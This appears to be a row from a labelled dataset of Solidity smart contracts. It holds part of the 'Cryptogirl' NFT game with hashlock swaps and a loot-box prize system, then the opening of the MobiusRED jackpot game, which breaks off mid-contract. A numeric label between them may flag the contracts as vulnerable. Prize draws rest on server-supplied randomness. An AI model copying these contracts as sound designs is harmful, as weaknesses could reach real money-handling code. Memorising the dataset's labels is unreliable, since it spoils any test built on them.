mapping (uint256 => address) internal tokenOwner;
mapping (uint256 => address) internal tokenApprovals;
mapping (address => uint256) internal ownedTokensCount;
mapping (address => mapping (address => bool)) internal operatorApprovals;
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
if (getApproved(_tokenId) != address(0) || _to != address(0)) {
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return operatorApprovals[_owner][_operator];
}
function transferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId) {
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function transferBatch(address _from, address _to, uint[] _tokenIds) public {
require(_from != address(0));
require(_to != address(0));
for(uint i=0; i<_tokenIds.length; i++) {
require(isApprovedOrOwner(msg.sender, _tokenIds[i]));
clearApproval(_from, _tokenIds[i]);
removeTokenFrom(_from, _tokenIds[i]);
addTokenTo(_to, _tokenIds[i]);
emit Transfer(_from, _to, _tokenIds[i]);
}
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
canTransfer(_tokenId)
{
transferFrom(_from, _to, _tokenId);
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool) {
address owner = ownerOf(_tokenId);
return _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
emit Approval(_owner, address(0), _tokenId);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal whenNotPaused {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal whenNotPaused{
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(_from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract GirlBasicToken is ERC721BasicToken, Serialize {
event CreateGirl(address owner, uint256 tokenID, uint256 genes, uint64 birthTime, uint64 cooldownEndTime, uint16 starLevel);
event CoolDown(uint256 tokenId, uint64 cooldownEndTime);
event GirlUpgrade(uint256 tokenId, uint64 starLevel);
struct Girl{
uint genes;
uint64 birthTime;
uint64 cooldownEndTime;
uint16 starLevel;
}
Girl[] girls;
function totalSupply() public view returns (uint256) {
return girls.length;
}
function getGirlGene(uint _index) public view returns (uint) {
return girls[_index].genes;
}
function getGirlBirthTime(uint _index) public view returns (uint64) {
return girls[_index].birthTime;
}
function getGirlCoolDownEndTime(uint _index) public view returns (uint64) {
return girls[_index].cooldownEndTime;
}
function getGirlStarLevel(uint _index) public view returns (uint16) {
return girls[_index].starLevel;
}
function isNotCoolDown(uint _girlId) public view returns(bool) {
return uint64(now) > girls[_girlId].cooldownEndTime;
}
function _createGirl(
uint _genes,
address _owner,
uint16 _starLevel
) internal returns (uint){
Girl memory _girl = Girl({
genes:_genes,
birthTime:uint64(now),
cooldownEndTime:0,
starLevel:_starLevel
});
uint256 girlId = girls.push(_girl) - 1;
_mint(_owner, girlId);
emit CreateGirl(_owner, girlId, _genes, _girl.birthTime, _girl.cooldownEndTime, _girl.starLevel);
return girlId;
}
function _setCoolDownTime(uint _tokenId, uint _coolDownTime) internal {
girls[_tokenId].cooldownEndTime = uint64(now.add(_coolDownTime));
emit CoolDown(_tokenId, girls[_tokenId].cooldownEndTime);
}
function _LevelUp(uint _tokenId) internal {
require(girls[_tokenId].starLevel < 65535);
girls[_tokenId].starLevel = girls[_tokenId].starLevel + 1;
emit GirlUpgrade(_tokenId, girls[_tokenId].starLevel);
}
uint8 constant public GIRLBUFFERSIZE = 50;
struct HashLockContract {
address sender;
address receiver;
uint tokenId;
bytes32 hashlock;
uint timelock;
bytes32 secret;
States state;
bytes extraData;
}
enum States {
INVALID,
OPEN,
CLOSED,
REFUNDED
}
mapping (bytes32 => HashLockContract) private contracts;
modifier contractExists(bytes32 _contractId) {
require(_contractExists(_contractId));
_;
}
modifier hashlockMatches(bytes32 _contractId, bytes32 _secret) {
require(contracts[_contractId].hashlock == keccak256(_secret));
_;
}
modifier closable(bytes32 _contractId) {
require(contracts[_contractId].state == States.OPEN);
require(contracts[_contractId].timelock > now);
_;
}
modifier refundable(bytes32 _contractId) {
require(contracts[_contractId].state == States.OPEN);
require(contracts[_contractId].timelock <= now);
_;
}
event NewHashLockContract (
bytes32 indexed contractId,
address indexed sender,
address indexed receiver,
uint tokenId,
bytes32 hashlock,
uint timelock,
bytes extraData
);
event SwapClosed(bytes32 indexed contractId);
event SwapRefunded(bytes32 indexed contractId);
function open (
address _receiver,
bytes32 _hashlock,
uint _duration,
uint _tokenId
) public
onlyOwnerOf(_tokenId)
returns (bytes32 contractId)
{
uint _timelock = now.add(_duration);
bytes memory _extraData = new bytes(GIRLBUFFERSIZE);
uint offset = GIRLBUFFERSIZE;
offset = addUint16(offset, _extraData, girls[_tokenId].starLevel);
offset = addUint64(offset, _extraData, girls[_tokenId].cooldownEndTime);
offset = addUint64(offset, _extraData, girls[_tokenId].birthTime);
offset = addUint(offset, _extraData, girls[_tokenId].genes);
contractId = keccak256 (
msg.sender,
_receiver,
_tokenId,
_hashlock,
_timelock,
_extraData
);
require(!_contractExists(contractId));
clearApproval(msg.sender, _tokenId);
removeTokenFrom(msg.sender, _tokenId);
addTokenTo(address(this), _tokenId);
contracts[contractId] = HashLockContract(
msg.sender,
_receiver,
_tokenId,
_hashlock,
_timelock,
0x0,
States.OPEN,
_extraData
);
emit NewHashLockContract(contractId, msg.sender, _receiver, _tokenId, _hashlock, _timelock, _extraData);
}
function close(bytes32 _contractId, bytes32 _secret)
public
contractExists(_contractId)
hashlockMatches(_contractId, _secret)
closable(_contractId)
returns (bool)
{
HashLockContract storage c = contracts[_contractId];
c.secret = _secret;
c.state = States.CLOSED;
removeTokenFrom(address(this), c.tokenId);
addTokenTo(c.receiver, c.tokenId);
emit SwapClosed(_contractId);
return true;
}
function refund(bytes32 _contractId)
public
contractExists(_contractId)
refundable(_contractId)
returns (bool)
{
HashLockContract storage c = contracts[_contractId];
c.state = States.REFUNDED;
removeTokenFrom(address(this), c.tokenId);
addTokenTo(c.sender, c.tokenId);
emit SwapRefunded(_contractId);
return true;
}
function _contractExists(bytes32 _contractId) internal view returns (bool exists) {
exists = (contracts[_contractId].sender != address(0));
}
function checkContract(bytes32 _contractId)
public
view
contractExists(_contractId)
returns (
address sender,
address receiver,
uint amount,
bytes32 hashlock,
uint timelock,
bytes32 secret,
bytes extraData
)
{
HashLockContract memory c = contracts[_contractId];
return (
c.sender,
c.receiver,
c.tokenId,
c.hashlock,
c.timelock,
c.secret,
c.extraData
);
}
}
contract GirlOps is GirlBasicToken, TrustedContractControl {
string public name = "Cryptogirl";
string public symbol = "CG";
function createGirl(uint _genes, address _owner, uint16 _starLevel)
onlyTrustedContract(msg.sender) public returns (uint) {
require (_starLevel > 0);
return _createGirl(_genes, _owner, _starLevel);
}
function createPromotionGirl(uint[] _genes, address _owner, uint16 _starLevel) onlyOwner public {
require (_starLevel > 0);
for (uint i=0; i<_genes.length; i++) {
_createGirl(_genes[i], _owner, _starLevel);
}
}
function burnGirl(address _owner, uint _tokenId) onlyTrustedContract(msg.sender) public {
_burn(_owner, _tokenId);
}
function setCoolDownTime(uint _tokenId, uint _coolDownTime)
onlyTrustedContract(msg.sender) public {
_setCoolDownTime(_tokenId, _coolDownTime);
}
function levelUp(uint _tokenId)
onlyTrustedContract(msg.sender) public {
_LevelUp(_tokenId);
}
function safeTransferFromWithData(
address _from,
address _to,
uint256 _tokenId,
bytes _data
) public {
safeTransferFrom(_from,_to,_tokenId,_data);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract AtomicSwappableToken is StandardToken {
struct HashLockContract {
address sender;
address receiver;
uint amount;
bytes32 hashlock;
uint timelock;
bytes32 secret;
States state;
}
enum States {
INVALID,
OPEN,
CLOSED,
REFUNDED
}
mapping (bytes32 => HashLockContract) private contracts;
modifier futureTimelock(uint _time) {
require(_time > now);
_;
}
modifier contractExists(bytes32 _contractId) {
require(_contractExists(_contractId));
_;
}
modifier hashlockMatches(bytes32 _contractId, bytes32 _secret) {
require(contracts[_contractId].hashlock == keccak256(_secret));
_;
}
modifier closable(bytes32 _contractId) {
require(contracts[_contractId].state == States.OPEN);
require(contracts[_contractId].timelock > now);
_;
}
modifier refundable(bytes32 _contractId) {
require(contracts[_contractId].state == States.OPEN);
require(contracts[_contractId].timelock <= now);
_;
}
event NewHashLockContract (
bytes32 indexed contractId,
address indexed sender,
address indexed receiver,
uint amount,
bytes32 hashlock,
uint timelock
);
event SwapClosed(bytes32 indexed contractId);
event SwapRefunded(bytes32 indexed contractId);
function open (
address _receiver,
bytes32 _hashlock,
uint _timelock,
uint _amount
) public
futureTimelock(_timelock)
returns (bytes32 contractId)
{
contractId = keccak256 (
msg.sender,
_receiver,
_amount,
_hashlock,
_timelock
);
require(!_contractExists(contractId));
require(transfer(address(this), _amount));
contracts[contractId] = HashLockContract(
msg.sender,
_receiver,
_amount,
_hashlock,
_timelock,
0x0,
States.OPEN
);
emit NewHashLockContract(contractId, msg.sender, _receiver, _amount, _hashlock, _timelock);
}
function close(bytes32 _contractId, bytes32 _secret)
public
contractExists(_contractId)
hashlockMatches(_contractId, _secret)
closable(_contractId)
returns (bool)
{
HashLockContract storage c = contracts[_contractId];
c.secret = _secret;
c.state = States.CLOSED;
require(this.transfer(c.receiver, c.amount));
emit SwapClosed(_contractId);
return true;
}
function refund(bytes32 _contractId)
public
contractExists(_contractId)
refundable(_contractId)
returns (bool)
{
HashLockContract storage c = contracts[_contractId];
c.state = States.REFUNDED;
require(this.transfer(c.sender, c.amount));
emit SwapRefunded(_contractId);
return true;
}
function _contractExists(bytes32 _contractId) internal view returns (bool exists) {
exists = (contracts[_contractId].sender != address(0));
}
function checkContract(bytes32 _contractId)
public
view
contractExists(_contractId)
returns (
address sender,
address receiver,
uint amount,
bytes32 hashlock,
uint timelock,
bytes32 secret
)
{
HashLockContract memory c = contracts[_contractId];
return (
c.sender,
c.receiver,
c.amount,
c.hashlock,
c.timelock,
c.secret
);
}
}
contract TokenReceiver {
function receiveApproval(address from, uint amount, address tokenAddress, bytes data) public;
}
contract BaseEquipment is Ownable, AtomicSwappableToken {
event Mint(address indexed to, uint256 amount);
uint256 public cap;
uint[] public properties;
address public controller;
modifier onlyController { require(msg.sender == controller); _; }
function setController(address _newController) public onlyOwner {
controller = _newController;
}
constructor(uint256 _cap, uint[] _properties) public {
cap = _cap;
properties = _properties;
}
function setProperty(uint256[] _properties) public onlyOwner {
properties = _properties;
}
function _mint(address _to, uint _amount) internal {
require(cap==0 || totalSupply_.add(_amount) <= cap);
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(address(0), _to, _amount);
}
function mint(address _to, uint256 _amount) onlyController public returns (bool) {
_mint(_to, _amount);
return true;
}
function mintFromOwner(address _to, uint256 _amount) onlyOwner public returns (bool) {
_mint(_to, _amount);
return true;
}
function approveAndCall(address _spender, uint _amount, bytes _data) public {
if(approve(_spender, _amount)) {
TokenReceiver(_spender).receiveApproval(msg.sender, _amount, address(this), _data);
}
}
function checkCap(uint256 _amount) public view returns (bool) {
return (cap==0 || totalSupply_.add(_amount) <= cap);
}
}
contract PrizePool is Ownable {
event SendPrized(address equipementAddress, address to);
address[] public magicBoxes;
mapping(address => bool) public magicBoxList;
address[] public equipments;
GirlOps public girlOps;
event SendEquipment(address to, address prizeAddress, uint time);
event EquipmentOutOfStock(address eqAddress);
modifier onlyMagicBox() {
require(magicBoxList[msg.sender]);
_;
}
constructor(address _girlOpsAddress) public {
girlOps = GirlOps(_girlOpsAddress);
}
function sendPrize(address _to, uint _index) public onlyMagicBox returns (bool) {
address prizeAddress = equipments[_index];
BaseEquipment baseEquipment = BaseEquipment(prizeAddress);
if(baseEquipment.checkCap(1 ether)) {
baseEquipment.mint(_to, 1 ether);
emit SendEquipment(_to, prizeAddress, now);
return true;
} else {
emit EquipmentOutOfStock(prizeAddress);
return false;
}
}
function mintGirl(address to, uint gene) public onlyMagicBox returns (bool) {
girlOps.createGirl(gene, to, 1);
return true;
}
function setEquipments(address[] _equipments) public onlyOwner {
equipments = _equipments;
}
function addMagicBox(address addr) public onlyOwner returns (bool) {
if (!magicBoxList[addr]) {
magicBoxList[addr] = true;
magicBoxes.push(addr);
return true;
} else {
return false;
}
}
function addMagicBoxes(address[] addrs) public onlyOwner returns (bool) {
for (uint i=0; i<addrs.length; i++) {
require(addMagicBox(addrs[i]));
}
return true;
}
function removeMagicBox(address addr) public onlyOwner returns (bool) {
require(magicBoxList[addr]);
for (uint i=0; i<magicBoxes.length - 1; i++) {
if (magicBoxes[i] == addr) {
magicBoxes[i] = magicBoxes[magicBoxes.length -1];
break;
}
}
magicBoxes.length -= 1;
magicBoxList[addr] = false;
return true;
}
}
contract MagicBox is AccessControl, TokenReceiver {
uint public keyRequired;
address public keyAddress;
address public prizePoolAddress;
string public name;
uint[] public prizeIndex;
uint[] public prizeRange;
uint public boxPrice;
mapping (uint => address) public openNonce;
uint public openNonceId;
mapping (address => bool) public serverAddressList;
modifier onlyServer {
require(serverAddressList[msg.sender]);
_;
}
event AddServerAddress(address contractAddress);
event RemoveServerAddress(address contractAddress);
function addServerAddresss(address[] _serverAddress) onlyOwner public {
for(uint i=0; i<_serverAddress.length; i++) {
require(addServerAddress(_serverAddress[i]));
}
}
function addServerAddress(address _serverAddress) onlyOwner public returns (bool){
serverAddressList[_serverAddress] = true;
emit AddServerAddress(_serverAddress);
return true;
}
function removeServerAddress(address _serverAddress) onlyOwner public {
require(serverAddressList[_serverAddress]);
serverAddressList[_serverAddress] = false;
emit RemoveServerAddress(_serverAddress);
}
event OpenBoxV2(address addr, uint time, uint openNonceId);
constructor(string _name, address _prizePoolAddress, address[] _serverAddress,address _keyAddress, uint _keyRequired, uint _boxPrice) public {
name = _name;
prizePoolAddress = _prizePoolAddress;
keyAddress = _keyAddress;
keyRequired = _keyRequired;
boxPrice = _boxPrice;
openNonceId = 0;
addServerAddresss(_serverAddress);
}
function setupPrize(uint[] _prizeIndex, uint[] _prizeRange) public onlyOwner {
prizeIndex = _prizeIndex;
prizeRange = _prizeRange;
}
function getPrizeIndex(uint random) public view returns (uint) {
uint maxRange = prizeRange[prizeRange.length -1];
uint n = random % maxRange;
uint start = 0;
uint mid = 0;
uint end = prizeRange.length-1;
if (prizeRange[0]>n){
return 0;
}
if (prizeRange[end-1]<=n){
return end;
}
while (start <= end) {
mid = start + (end - start) / 2;
if (prizeRange[mid]<=n && n<prizeRange[mid+1]){
return mid+1;
} else if (prizeRange[mid+1] <= n) {
start = mid+1;
} else {
end = mid;
}
}
return start;
}
function _openBox(address _from, uint _random, uint[] _genes) internal returns (bool) {
uint index = getPrizeIndex(_random);
PrizePool pl = PrizePool(prizePoolAddress);
uint count = 0;
while(count < prizeIndex.length) {
if(prizeIndex[index] < 10) {
pl.mintGirl(_from, _genes[prizeIndex[index]-1]);
return true;
} else if (pl.sendPrize(_from, prizeIndex[index] - 10)) {
return true;
} else {
count = count + 1;
index = index + 1;
if(index == prizeIndex.length) index = 0;
continue;
}
}
return false;
}
function setKeyAddress(address _key) public onlyOwner {
keyAddress = _key;
}
function openBoxFromServer(address _userAddress, uint _random, uint[] _gene, uint _openNonceId) public onlyServer returns (bool) {
require (openNonce[_openNonceId]==_userAddress,'Nonce Has been used');
delete openNonce[_openNonceId];
_openBox(_userAddress, _random, _gene);
}
function openBoxFromServerNoNonce(address _userAddress, uint _random, uint[] _gene) public onlyServer returns (bool) {
_openBox(_userAddress, _random, _gene);
}
function addOpenBoxFromServer(address _userAddress) public onlyServer {
openNonceId = openNonceId + 1;
openNonce[openNonceId] = _userAddress;
emit OpenBoxV2(_userAddress, now, openNonceId);
}
function() public payable {
require(msg.value == boxPrice);
openNonceId = openNonceId + 1;
openNonce[openNonceId] = msg.sender;
emit OpenBoxV2(msg.sender, now, openNonceId);
}
function receiveApproval(address _from, uint _amount, address _tokenAddress, bytes _data) public {
require(_tokenAddress == keyAddress);
require(_amount == keyRequired);
require(StandardToken(_tokenAddress).transferFrom(_from, address(this), _amount));
openNonceId = openNonceId + 1;
openNonce[openNonceId] = _from;
emit OpenBoxV2(_from, now, openNonceId);
}
function withDrawToken(uint _amount) public onlyCFO {
StandardToken(keyAddress).transfer(CFO, _amount);
}
function withDrawBalance(uint256 amount) public onlyCFO {
require(address(this).balance >= amount);
if (amount==0){
CFO.transfer(address(this).balance);
} else {
CFO.transfer(amount);
}
}
function setupBoxPrice(uint256 _boxPrice) public onlyCFO {
boxPrice = _boxPrice;
}
function setupKeyRequired(uint256 _keyRequired) public onlyCFO {
keyRequired = _keyRequired;
}
} | 1 | 3,178 |
pragma solidity^0.4.24;
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
interface MobiusRedToken {
function mint(address _to, uint _amount) external;
function finishMinting() external returns (bool);
function disburseDividends() external payable;
}
contract MobiusRED is DSMath, DSAuth {
string public ipfsHash;
string public ipfsHashType = "ipfs";
MobiusRedToken public token;
bool public upgraded;
address public nextVersion;
uint public totalSharesSold;
uint public totalEarningsGenerated;
uint public totalDividendsPaid;
uint public totalJackpotsWon;
uint public constant DEV_FRACTION = WAD / 20;
uint public constant DEV_DIVISOR = 20;
uint public constant RETURNS_FRACTION = 65 * 10**16;
uint public constant REFERRAL_FRACTION = 1 * 10**16;
uint public constant JACKPOT_SEED_FRACTION = WAD / 20;
uint public constant JACKPOT_FRACTION = 15 * 10**16;
uint public constant AIRDROP_FRACTION = WAD / 100;
uint public constant DIVIDENDS_FRACTION = 9 * 10**16;
uint public constant STARTING_SHARE_PRICE = 1 finney;
uint public constant PRICE_INCREASE_PERIOD = 1 hours;
uint public constant HARD_DEADLINE_DURATION = 10 days;
uint public constant SOFT_DEADLINE_DURATION = 1 days;
uint public constant TIME_PER_SHARE = 5 minutes;
uint public jackpotSeed;
uint public devBalance;
uint public raisedICO;
uint public unclaimedReturns;
uint public constant MULTIPLIER = RAY;
struct Investor {
uint lastCumulativeReturnsPoints;
uint shares;
}
struct MobiusRound {
uint totalInvested;
uint jackpot;
uint airdropPot;
uint totalShares;
uint cumulativeReturnsPoints;
uint hardDeadline;
uint softDeadline;
uint price;
uint lastPriceIncreaseTime;
address lastInvestor;
bool finalized;
mapping (address => Investor) investors;
}
struct Vault {
uint totalReturns;
uint refReturns;
}
mapping (address => Vault) vaults;
uint public latestRoundID;
MobiusRound[] rounds;
event SharesIssued(address indexed to, uint shares);
event ReturnsWithdrawn(address indexed by, uint amount);
event JackpotWon(address by, uint amount);
event AirdropWon(address by, uint amount);
event RoundStarted(uint indexed ID, uint hardDeadline);
event IPFSHashSet(string _type, string _hash);
constructor(address _token) public {
token = MobiusRedToken(_token);
}
function estimateReturns(address investor, uint roundID) public view
returns (uint totalReturns, uint refReturns)
{
MobiusRound storage rnd = rounds[roundID];
uint outstanding;
if(rounds.length > 1) {
if(hasReturns(investor, roundID - 1)) {
MobiusRound storage prevRnd = rounds[roundID - 1];
outstanding = _outstandingReturns(investor, prevRnd);
}
}
outstanding += _outstandingReturns(investor, rnd);
totalReturns = vaults[investor].totalReturns + outstanding;
refReturns = vaults[investor].refReturns;
}
function hasReturns(address investor, uint roundID) public view returns (bool) {
MobiusRound storage rnd = rounds[roundID];
return rnd.cumulativeReturnsPoints > rnd.investors[investor].lastCumulativeReturnsPoints;
}
function investorInfo(address investor, uint roundID) external view
returns(uint shares, uint totalReturns, uint referralReturns)
{
MobiusRound storage rnd = rounds[roundID];
shares = rnd.investors[investor].shares;
(totalReturns, referralReturns) = estimateReturns(investor, roundID);
}
function roundInfo(uint roundID) external view
returns(
address leader,
uint price,
uint jackpot,
uint airdrop,
uint shares,
uint totalInvested,
uint distributedReturns,
uint _hardDeadline,
uint _softDeadline,
bool finalized
)
{
MobiusRound storage rnd = rounds[roundID];
leader = rnd.lastInvestor;
price = rnd.price;
jackpot = rnd.jackpot;
airdrop = rnd.airdropPot;
shares = rnd.totalShares;
totalInvested = rnd.totalInvested;
distributedReturns = wmul(rnd.totalInvested, RETURNS_FRACTION);
_hardDeadline = rnd.hardDeadline;
_softDeadline = rnd.softDeadline;
finalized = rnd.finalized;
}
function totalsInfo() external view
returns(
uint totalReturns,
uint totalShares,
uint totalDividends,
uint totalJackpots
) {
MobiusRound storage rnd = rounds[latestRoundID];
if(rnd.softDeadline > now) {
totalShares = totalSharesSold + rnd.totalShares;
totalReturns = totalEarningsGenerated + wmul(rnd.totalInvested, RETURNS_FRACTION);
totalDividends = totalDividendsPaid + wmul(rnd.totalInvested, DIVIDENDS_FRACTION);
} else {
totalShares = totalSharesSold;
totalReturns = totalEarningsGenerated;
totalDividends = totalDividendsPaid;
}
totalJackpots = totalJackpotsWon;
}
function () public payable {
buyShares(address(0x0));
}
function buyShares(address ref) public payable {
if(rounds.length > 0) {
MobiusRound storage rnd = rounds[latestRoundID];
_purchase(rnd, msg.value, ref);
} else {
revert("Not yet started");
}
}
function reinvestReturns(uint value) public {
reinvestReturns(value, address(0x0));
}
function reinvestReturns(uint value, address ref) public {
MobiusRound storage rnd = rounds[latestRoundID];
_updateReturns(msg.sender, rnd);
require(vaults[msg.sender].totalReturns >= value, "Can't spend what you don't have");
vaults[msg.sender].totalReturns = sub(vaults[msg.sender].totalReturns, value);
vaults[msg.sender].refReturns = min(vaults[msg.sender].refReturns, vaults[msg.sender].totalReturns);
unclaimedReturns = sub(unclaimedReturns, value);
_purchase(rnd, value, ref);
}
function withdrawReturns() public {
MobiusRound storage rnd = rounds[latestRoundID];
if(rounds.length > 1) {
if(hasReturns(msg.sender, latestRoundID - 1)) {
MobiusRound storage prevRnd = rounds[latestRoundID - 1];
_updateReturns(msg.sender, prevRnd);
}
}
_updateReturns(msg.sender, rnd);
uint amount = vaults[msg.sender].totalReturns;
require(amount > 0, "Nothing to withdraw!");
unclaimedReturns = sub(unclaimedReturns, amount);
vaults[msg.sender].totalReturns = 0;
vaults[msg.sender].refReturns = 0;
rnd.investors[msg.sender].lastCumulativeReturnsPoints = rnd.cumulativeReturnsPoints;
msg.sender.transfer(amount);
emit ReturnsWithdrawn(msg.sender, amount);
}
function updateMyReturns(uint roundID) public {
MobiusRound storage rnd = rounds[roundID];
_updateReturns(msg.sender, rnd);
}
function finalizeAndRestart() public payable {
finalizeLastRound();
startNewRound();
}
function startNewRound() public payable {
require(!upgraded, "This contract has been upgraded!");
if(rounds.length > 0) {
require(rounds[latestRoundID].finalized, "Previous round not finalized");
require(rounds[latestRoundID].softDeadline < now, "Previous round still running");
}
uint _rID = rounds.length++;
MobiusRound storage rnd = rounds[_rID];
latestRoundID = _rID;
rnd.lastInvestor = msg.sender;
rnd.price = STARTING_SHARE_PRICE;
rnd.hardDeadline = now + HARD_DEADLINE_DURATION;
rnd.softDeadline = now + SOFT_DEADLINE_DURATION;
rnd.jackpot = jackpotSeed;
jackpotSeed = 0;
_purchase(rnd, msg.value, address(0x0));
emit RoundStarted(_rID, rnd.hardDeadline);
}
function finalizeLastRound() public {
MobiusRound storage rnd = rounds[latestRoundID];
_finalizeRound(rnd);
}
function withdrawDevShare() public auth {
uint value = devBalance;
devBalance = 0;
msg.sender.transfer(value);
}
function setIPFSHash(string _type, string _hash) public auth {
ipfsHashType = _type;
ipfsHash = _hash;
emit IPFSHashSet(_type, _hash);
}
function upgrade(address _nextVersion) public auth {
require(_nextVersion != address(0x0), "Invalid Address!");
require(!upgraded, "Already upgraded!");
upgraded = true;
nextVersion = _nextVersion;
if(rounds[latestRoundID].finalized) {
vaults[nextVersion].totalReturns = jackpotSeed;
jackpotSeed = 0;
}
}
